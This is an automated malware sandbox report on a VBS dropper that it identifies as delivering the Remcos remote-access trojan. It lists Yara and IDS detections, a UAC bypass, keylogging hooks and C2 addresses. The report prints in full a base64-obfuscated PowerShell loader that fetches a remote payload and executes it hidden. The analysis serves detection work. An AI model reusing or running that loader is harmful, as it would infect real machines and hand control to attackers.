Windows Analysis Report
5fKvwnCAeC.vbs

AI detected suspicious sample

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

11_2_004338C8

Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_4395ad51-c

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00407538 _wcslen,CoGetObject,

11_2_00407538

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.10:49706 version: TLS 1.2

Source:

Binary string: System.Data.Linq.pdb source: powershell.exe, 0000000A.00000002.1404922826.0000026F3E840000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	11_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	11_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	11_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00407877 FindFirstFileW,FindNextFileW,	11_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0044E8F9 FindFirstFileExA,	11_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	11_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	11_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

11_2_00407CD2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:49708 -> 45.90.89.98:8243
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60898 -> 45.90.89.98:8243
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60899 -> 45.90.89.98:8243
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:49713 -> 45.90.89.98:8243
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60900 -> 45.90.89.98:8243
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 45.90.89.123:80 -> 192.168.2.10:49707
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 45.90.89.123:80 -> 192.168.2.10:49707
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60901 -> 45.90.89.98:8243

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 45.90.89.98

Source: global traffic

TCP traffic: 192.168.2.10:49708 -> 45.90.89.98:8243

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2117/RMCCF.txt HTTP/1.1Host: 45.90.89.123Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 45.90.89.98 45.90.89.98
Source: Joe Sandbox View	IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View	ASN Name: CMCSUS CMCSUS
Source: Joe Sandbox View	ASN Name: CMCSUS CMCSUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.89.123

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00426D42 recv,

11_2_00426D42

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2117/RMCCF.txt HTTP/1.1Host: 45.90.89.123Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: ia600100.us.archive.org

Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DC4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.89.123
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DC4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.89.123/2117/RMCCF.txt
Source: RegAsm.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.1454522210.000001EB02CCA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2D821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.1454522210.000001EB02CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1454522210.000001EB02C5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2D821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2E87A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EE8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EE8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt9uO;FIibase64Content
Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.10:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,00000000

11_2_0040A2F3

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

11_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

11_2_004168FC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

11_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

11_2_0040A41B

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041CA73 SystemParametersInfoW,

11_2_0041CA73

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,

11_2_004167EF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043706A	11_2_0043706A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00414005	11_2_00414005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043E11C	11_2_0043E11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004541D9	11_2_004541D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004381E8	11_2_004381E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041F18B	11_2_0041F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00446270	11_2_00446270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043E34B	11_2_0043E34B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004533AB	11_2_004533AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0042742E	11_2_0042742E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00437566	11_2_00437566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043E5A8	11_2_0043E5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004387F0	11_2_004387F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043797E	11_2_0043797E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004339D7	11_2_004339D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0044DA49	11_2_0044DA49
